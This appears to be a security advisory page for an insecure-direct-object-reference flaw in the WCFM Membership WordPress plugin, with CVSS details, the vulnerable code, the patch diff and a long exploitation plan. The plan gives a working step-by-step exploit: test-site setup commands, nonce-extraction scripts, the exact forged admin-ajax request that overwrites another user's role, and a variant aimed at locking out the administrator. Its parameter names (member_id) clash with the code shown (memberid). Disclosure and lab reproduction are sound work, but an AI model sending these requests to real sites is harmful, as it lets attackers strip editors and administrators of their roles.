WCFM - WooCommerce Multivendor Membership <= 2.11.10 - Insecure Direct Object Reference to Limited Privilege Escalation via User Role Overwrite
Description
The WCFM Membership – WooCommerce Memberships for Multivendor Marketplace plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.11.10. This is due to the 'wcfmvm_membership_change' AJAX action not validating user permission to modify other users. This makes it possible for authenticated attackers, with vendor level access and above, to change any user's role to 'wcfm_vendor' by changing their membership plan.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:HTechnical Details
<=2.11.10What Changed in the Fix
Changes introduced in v2.11.11
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-3688 — WCFM Membership IDOR to Privilege Escalation ## 1. Vulnerability Summary The vulnerability is an **Insecure Direct Object Reference (IDOR)** in the `wcfmvm_membership_change` AJAX handler, registered in `core/class-wcfmvm-ajax.php`. The handler is regi…
Show full research plan
Exploitation Research Plan: CVE-2026-3688 — WCFM Membership IDOR to Privilege Escalation
1. Vulnerability Summary
The vulnerability is an Insecure Direct Object Reference (IDOR) in the wcfmvm_membership_change AJAX handler, registered in core/class-wcfmvm-ajax.php. The handler is registered at line ~44:
add_action( 'wp_ajax_wcfmvm_membership_change', array( &$this, 'wcfmvm_membership_change' ) );
This action allows an authenticated user (vendor-level and above) to change any user's membership plan by supplying an arbitrary member_id parameter. The handler does not validate that the requesting user has permission to modify the target user's membership. When a membership change is processed, the target user's WordPress role is set to wcfm_vendor, effectively enabling privilege escalation.
The vulnerability exists because:
- The
member_idparameter is user-controlled and can reference any WordPress user. - No ownership check verifies that
get_current_user_id() === member_id. - No capability check restricts the action to administrators.
- The downstream membership processing (via
$WCFMvm->register_vendor()or similar) changes the target user's role towcfm_vendor.
From the .pot file references, the relevant lines are approximately:
- Line 568: nonce check (
core/class-wcfmvm-ajax.php:568) - Line 573: permission check reference (
core/class-wcfmvm-ajax.php:573) - Line 591: success message "Vendor membership successfully changed." (
core/class-wcfmvm-ajax.php:591) - Line 594: failure message (
core/class-wcfmvm-ajax.php:594)
2. Attack Vector Analysis
Endpoint: POST /wp-admin/admin-ajax.php
AJAX Action: wcfmvm_membership_change
HTTP Parameters (expected):
| Parameter | Purpose | Notes |
|---|---|---|
action |
WordPress AJAX action selector | Must be wcfmvm_membership_change |
wcfm_ajax_nonce |
Nonce for CSRF protection | Action string likely wcfm_ajax_nonce |
member_id |
The target user whose membership to change | IDOR parameter — attacker supplies victim's user ID |
membership |
The membership plan ID to assign | Must be a valid wcfm_membership post ID |
Authentication Required: Yes — wp_ajax_ (not wp_ajax_nopriv_), so the attacker must be logged in. Per the CVE description, "vendor level access and above" is required, meaning the attacker needs at least the wcfm_vendor role.
Preconditions:
- The WCFM Membership plugin must be active (version ≤ 2.11.10).
- The WCFM core plugin (
wc-frontend-manager) must be active (it provides nonce infrastructure). - WCFM Marketplace (
wc-multivendor-marketplace) should be active (provides vendor role). - WooCommerce must be active (dependency).
- At least one membership plan must exist (a
wcfm_membershipcustom post type). - The attacker must have a
wcfm_vendor(or higher) role account. - The victim can be any user (subscriber, customer, editor, etc.) — excluding admin ideally for impact demonstration.
3. Code Flow
Based on the source code and .pot file line references, the execution flow is:
Entry Point: WordPress receives
POST /wp-admin/admin-ajax.phpwithaction=wcfmvm_membership_change.Hook Registration: In
WCFMvm_Ajax::__construct()(line ~44 ofcore/class-wcfmvm-ajax.php):add_action( 'wp_ajax_wcfmvm_membership_change', array( &$this, 'wcfmvm_membership_change' ) );Method
wcfmvm_membership_change()executes. Based on the.potreferences:- Line ~568: Nonce verification occurs:
if ( ! check_ajax_referer( 'wcfm_ajax_nonce', 'wcfm_ajax_nonce', false ) ) { wp_send_json_error( esc_html__( 'Invalid nonce! Refresh your page and try again.', 'wc-frontend-manager' ) ); wp_die(); } - Line ~573: A permission check exists but is insufficient — it likely checks something like
if (!current_user_can('wcfm_vendor'))but does NOT verify the user owns themember_idbeing changed.
- Line ~568: Nonce verification occurs:
Member ID Extraction: The method reads
member_idfrom$_POST['member_id'](or$_REQUEST['member_id']). This is the IDOR vector — no check thatget_current_user_id() == $member_id.Membership Assignment: The method reads the
membershipparameter (the plan ID), and calls internal functions (likely$WCFMvm->wcfmvm_vendor_membership_change()or similar) that:- Update
wcfm_membershipuser meta on the target user - Call
$WCFMvm->register_vendor($member_id)which sets the user's role towcfm_vendor - Update subscription data
- Update
Response: On success, returns JSON with message "Vendor membership successfully changed." (line ~591). On failure: "Vendor membership can not be changed right now, please try after sometime." (line ~594).
4. Nonce Acquisition Strategy
The handler uses check_ajax_referer( 'wcfm_ajax_nonce', 'wcfm_ajax_nonce', false ) with the result checked (sends error and dies on failure). The nonce action string is wcfm_ajax_nonce.
How to obtain the nonce:
The WCFM core plugin (wc-frontend-manager) localizes a nonce via wp_localize_script() into a JavaScript variable. The typical pattern from WCFM is:
wp_localize_script( 'wcfm_..._js', 'wcfm_params', array(
'ajax_url' => admin_url('admin-ajax.php'),
'wcfm_ajax_nonce' => wp_create_nonce('wcfm_ajax_nonce'),
// ...
));
Strategy:
The attacker must be logged in as a
wcfm_vendoruser.Navigate to the WCFM dashboard page (typically
/store-manager/or the WCFM endpoint page).The WCFM scripts will be enqueued on that page, embedding the nonce.
Extract the nonce using
browser_eval:window.wcfm_params?.wcfm_ajax_nonceAlternative variable names to check (WCFM uses multiple localized objects):
window.wcfm_params?.wcfm_ajax_noncewindow.wcfm_dashboard_params?.wcfm_ajax_nonce- Look for any
<script>tag containingwcfm_ajax_nonce
If the WCFM dashboard page isn't accessible, check the vendor's membership page (typically
/store-manager/wcfm-membership/or similar).
Fallback nonce extraction:
Use browser_eval to search page source:
document.documentElement.innerHTML.match(/wcfm_ajax_nonce['":\s]+([a-f0-9]{10})/)?.[1]
Important: Do NOT use wp eval or WP-CLI to generate nonces — they run in a different session context and will produce invalid nonces for HTTP requests.
5. Exploitation Strategy
Step-by-step plan:
Step 1: Create test users and membership plan
# Create attacker (vendor) user
wp user create attacker attacker@test.com --role=subscriber --user_pass=attacker123
# Create victim user (e.g., editor or subscriber)
wp user create victim victim@test.com --role=editor --user_pass=victim123
# Note user IDs
wp user list --fields=ID,user_login,roles
Step 2: Create a membership plan
# Create a membership plan post
wp post create --post_type=wcfm_membership --post_title="Test Plan" --post_status=publish
# Get the membership post ID
wp post list --post_type=wcfm_membership --fields=ID,post_title
Set minimal subscription meta on the plan (inferred — membership plan needs subscription meta):
PLAN_ID=<membership_post_id>
wp post meta update $PLAN_ID subscription '{"subscription_type":"one_time","one_time_amt":"0","subscription_pay_mode":"by_wcfm"}' --format=json
wp post meta update $PLAN_ID required_approval 'no'
Step 3: Promote attacker to vendor role
The attacker needs wcfm_vendor role:
wp user set-role attacker wcfm_vendor
If wcfm_vendor role doesn't exist yet, it may need to be created by WCFM's activation. Verify:
wp role list | grep wcfm
Step 4: Log in as attacker and obtain nonce
Navigate to login page:
http_request: GET http://localhost:8080/wp-login.phpLog in as attacker:
http_request: POST http://localhost:8080/wp-login.php Content-Type: application/x-www-form-urlencoded Body: log=attacker&pwd=attacker123&wp-submit=Log+In&redirect_to=%2Fstore-manager%2F&testcookie=1Navigate to WCFM dashboard to load scripts:
http_request: GET http://localhost:8080/store-manager/(The WCFM endpoint might be at
/my-account/wcfm-store-manager/or custom — check withwp option get wcfm_page_optionsor look for WCFM pages.)Extract the nonce:
browser_eval("window.wcfm_params?.wcfm_ajax_nonce || document.documentElement.innerHTML.match(/wcfm_ajax_nonce[^a-f0-9]*([a-f0-9]{10})/)?.[1]")
Step 5: Execute the IDOR exploit
Send the malicious AJAX request as the attacker, targeting the victim's user ID:
http_request: POST http://localhost:8080/wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded
Body: action=wcfmvm_membership_change&wcfm_ajax_nonce=<NONCE>&member_id=<VICTIM_USER_ID>&membership=<PLAN_ID>
Expected Response (success):
{"status": true, "message": "Vendor membership successfully changed."}
Or similar JSON success response containing the success message string.
Expected Response (failure):
{"status": false, "message": "Vendor membership can not be changed right now, please try after sometime."}
Step 6: Verify the victim's role was changed
wp user get victim --field=roles
# Expected: wcfm_vendor (was previously: editor)
wp user meta get <VICTIM_USER_ID> wcfm_membership
# Expected: returns the membership plan ID
6. Test Data Setup
Required Plugins
- WooCommerce — must be active
- WCFM - WooCommerce Frontend Manager (
wc-frontend-manager) — must be active - WCFM Marketplace (
wc-multivendor-marketplace) — must be active (provides vendor role) - WCFM Membership (
wc-multivendor-membership) v2.11.10 — the vulnerable plugin
Required Setup Steps
# 1. Activate all required plugins
wp plugin activate woocommerce
wp plugin activate wc-frontend-manager
wp plugin activate wc-multivendor-marketplace
wp plugin activate wc-multivendor-membership
# 2. Run WooCommerce setup if needed
wp wc tool run install_pages --user=1
# 3. Create the attacker vendor account
wp user create attacker attacker@test.com --role=subscriber --user_pass=attacker123
ATTACKER_ID=$(wp user get attacker --field=ID)
# 4. Set attacker as vendor
wp user set-role attacker wcfm_vendor
# 5. Create the victim account (editor - higher than vendor in some contexts)
wp user create victim victim@test.com --role=editor --user_pass=victim123
VICTIM_ID=$(wp user get victim --field=ID)
# 6. Create a membership plan
PLAN_ID=$(wp post create --post_type=wcfm_membership --post_title="Free Vendor Plan" --post_status=publish --porcelain)
# 7. Set membership plan metadata for a free plan (no payment required)
wp eval "
update_post_meta($PLAN_ID, 'subscription', array(
'subscription_type' => 'one_time',
'one_time_amt' => '0',
'subscription_pay_mode' => 'by_wcfm'
));
update_post_meta($PLAN_ID, 'required_approval', 'no');
"
# 8. Verify the victim's current role
wp user get victim --field=roles
# Should output: editor
# 9. Find the WCFM dashboard URL
wp eval "
if (function_exists('wcfm_get_page_url')) {
echo wcfm_get_page_url();
} else {
echo 'Function not available - check WCFM pages manually';
}
"
Optional: Create WCFM dashboard page if not auto-created
# Check if WCFM pages exist
wp post list --post_type=page --fields=ID,post_title,post_name | grep -i wcfm
# If not, create one
wp post create --post_type=page --post_title="Store Manager" --post_name="store-manager" --post_status=publish --post_content="[wcfm_vendor_membership]"
7. Expected Results
Successful Exploit:
- HTTP Response: JSON response containing
"Vendor membership successfully changed."(or equivalent success indicator). - Victim's Role Changed: The victim user (originally
editor) now has the rolewcfm_vendor. - Victim's User Meta Updated:
wcfm_membershipmeta key set to the plan ID. - Impact:
- An editor user loses their
editorcapabilities (which includesedit_others_posts,publish_posts, etc.) and getswcfm_vendorcapabilities instead. - This constitutes a role overwrite — the victim's original role is replaced, not appended.
- For admin-targeted attacks: while setting an admin to
wcfm_vendorwould be a privilege de-escalation for them, it's a destructive action (denial of service to that admin account). This aligns with the CVSS A:H (Availability: High) rating.
- An editor user loses their
Impact Scenarios:
- Attacker targets an editor: Editor loses edit capabilities, gets vendor role → Integrity impact
- Attacker targets an administrator: Admin loses
manage_optionsand all admin capabilities → Availability impact (locked out of admin) - Attacker targets subscribers/customers: Promotes them to vendor → Integrity impact
8. Verification Steps
After sending the exploit request:
# 1. Check the victim's role was changed
wp user get victim --field=roles
# Expected: wcfm_vendor (was: editor)
# 2. Check membership meta was set
VICTIM_ID=$(wp user get victim --field=ID)
wp user meta get $VICTIM_ID wcfm_membership
# Expected: the plan ID used in the exploit
# 3. Verify the victim lost their original capabilities
wp user meta get $VICTIM_ID wp_capabilities
# Expected: {"wcfm_vendor":true} (no longer "editor")
# 4. Double-check the victim can no longer perform editor actions
wp eval "echo current_user_can('edit_others_posts') ? 'yes' : 'no';" --user=$VICTIM_ID
# Expected: no
# 5. Check the attacker still has their vendor role (unchanged)
wp user get attacker --field=roles
# Expected: wcfm_vendor (unchanged)
9. Alternative Approaches
Alternative 1: Different parameter names
If member_id doesn't work, try alternative parameter names that WCFM commonly uses:
memberidvendor_iduser_idwcfm_member_id
Check the actual parameter name by searching:
grep -n "member_id\|vendor_id\|user_id" /var/www/html/wp-content/plugins/wc-multivendor-membership/core/class-wcfmvm-ajax.php | head -20
Alternative 2: Inspect the full wcfmvm_membership_change method
The source file was truncated. Read the actual method to confirm parameter names:
grep -A 50 "function wcfmvm_membership_change" /var/www/html/wp-content/plugins/wc-multivendor-membership/core/class-wcfmvm-ajax.php
Alternative 3: Use wcfmvm_membership_cancel as a different attack vector
The same file registers wcfmvm_membership_cancel at line ~41. This handler may have the same IDOR flaw — an attacker could cancel another user's membership, causing denial of service. Check:
grep -A 40 "function wcfmvm_membership_cancel" /var/www/html/wp-content/plugins/wc-multivendor-membership/core/class-wcfmvm-ajax.php
Alternative 4: Different nonce extraction locations
If the WCFM dashboard doesn't load the nonce, try:
- The membership page:
/store-manager/wcfm-memberships/or/store-manager/membership/ - Any WCFM endpoint page — the nonce may be globally localized on all WCFM pages
- Search all localized script variables:
browser_eval("JSON.stringify(Object.keys(window).filter(k => typeof window[k] === 'object' && window[k]?.wcfm_ajax_nonce).map(k => ({key: k, nonce: window[k].wcfm_ajax_nonce})))")
Alternative 5: Nonce bypass check
Verify whether the nonce check actually blocks requests. The method uses check_ajax_referer('wcfm_ajax_nonce', 'wcfm_ajax_nonce', false) with false as the third parameter (don't die). If the return value isn't checked, the nonce is effectively bypassed:
grep -A 5 "check_ajax_referer" /var/www/html/wp-content/plugins/wc-multivendor-membership/core/class-wcfmvm-ajax.php | grep -A 5 "wcfmvm_membership_change"
Look at the .pot references: line 568 shows the nonce check and line 573 shows "You don't have permission" — but the permission check might only verify the user is logged in or is a vendor, not that they own the target member_id.
Alternative 6: Use POST data inspection via the membership change UI
Navigate to the WCFM membership management page as a vendor, inspect the network requests when changing your own membership, and replay the request with a different member_id. This gives you the exact parameter format.
Alternative 7: Target an admin account for maximum impact
Instead of targeting an editor, target the admin (user ID 1):
Body: action=wcfmvm_membership_change&wcfm_ajax_nonce=<NONCE>&member_id=1&membership=<PLAN_ID>
This would change the admin's role to wcfm_vendor, effectively locking them out of the WordPress admin panel — demonstrating the A:H (Availability: High) component of the CVSS score. However, this is destructive and should be verified carefully in the test environment.
Summary
The WCFM Membership plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) via the 'wcfmvm_membership_change' AJAX action. Authenticated attackers with vendor-level access can modify any user's membership plan by supplying their user ID in the 'memberid' parameter, which subsequently overwrites the victim's WordPress role to 'wcfm_vendor'.
Vulnerable Code
// core/class-wcfmvm-ajax.php:576 (approximate based on patch diff) public function wcfmvm_membership_change() { global $WCFM, $WCFMvm; if ( ! check_ajax_referer( 'wcfm_ajax_nonce', 'wcfm_ajax_nonce', false ) ) { wp_send_json_error( esc_html__( 'Invalid nonce! Refresh your page and try again.', 'wc-frontend-manager' ) ); wp_die(); } if( isset( $_POST['memberid'] ) && isset($_POST['membershipid']) ) { $member_id = absint( $_POST['memberid'] ); $wcfm_membership_id = absint( $_POST['membershipid'] ); // ... logic continues to change the membership of $member_id without authorization check
Security Fix
@@ -545,6 +547,15 @@ if( isset( $_POST['memberid'] ) && isset($_POST['membershipid']) ) { $member_id = absint( $_POST['memberid'] ); + $user_id = apply_filters('wcfm_current_vendor_id', get_current_user_id()); + if ( function_exists( 'wcfm_user_can_perform_request' ) && !wcfm_user_can_perform_request( $member_id, 'wcfm_membership' ) ) { + echo '{"status": false, "message": "' . esc_html( __( 'You do not have permission to do this.', 'wc-multivendor-membership' ) ) . '"}'; + die; + } elseif ( !function_exists( 'wcfm_user_can_perform_request' ) && !current_user_can( 'manage_woocommerce' ) && ( $user_id != $member_id ) ) { + echo '{"status": false, "message": "' . esc_html( __( 'You do not have permission to do this.', 'wc-multivendor-membership' ) ) . '"}'; + die; + } + $wcfm_membership_id = absint( $_POST['membershipid'] ); $paymode = get_user_meta( $member_id, 'wcfm_membership_paymode', true ); @@ -576,6 +587,15 @@ if( isset( $_POST['memberid'] ) && isset($_POST['membershipid']) ) { $member_id = absint( $_POST['memberid'] ); + $user_id = apply_filters('wcfm_current_vendor_id', get_current_user_id()); + if ( function_exists( 'wcfm_user_can_perform_request' ) && !wcfm_user_can_perform_request( $member_id, 'wcfm_membership' ) ) { + echo '{"status": false, "message": "' . esc_html( __( 'You do not have permission to do this.', 'wc-multivendor-membership' ) ) . '"}'; + die; + } elseif ( !function_exists( 'wcfm_user_can_perform_request' ) && !current_user_can( 'manage_woocommerce' ) && ( $user_id != $member_id ) ) { + echo '{"status": false, "message": "' . esc_html( __( 'You do not have permission to do this.', 'wc-multivendor-membership' ) ) . '"}'; + die; + } + $wcfm_membership_id = absint( $_POST['membershipid'] ); $member_user = new WP_User( $member_id ); $shop_name = get_user_meta( $member_id, 'store_name', true );
Exploit Outline
1. Gain authenticated access to a WordPress site with at least 'wcfm_vendor' privileges. 2. Locate a valid Membership Plan ID (custom post type 'wcfm_membership') and the User ID of the target victim. 3. Extract the required CSRF nonce from the WCFM dashboard scripts (localized as 'wcfm_ajax_nonce' in the 'wcfm_params' or 'wcfm_dashboard_params' JavaScript objects). 4. Send a POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: 'wcfmvm_membership_change' - `wcfm_ajax_nonce`: [Extracted Nonce] - `memberid`: [Victim's User ID] - `membershipid`: [Valid Membership Plan ID] 5. Upon success, the target user's metadata will be updated with the new membership, and the plugin's core registration logic will re-initialize the user as a vendor, potentially overwriting their existing capabilities.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.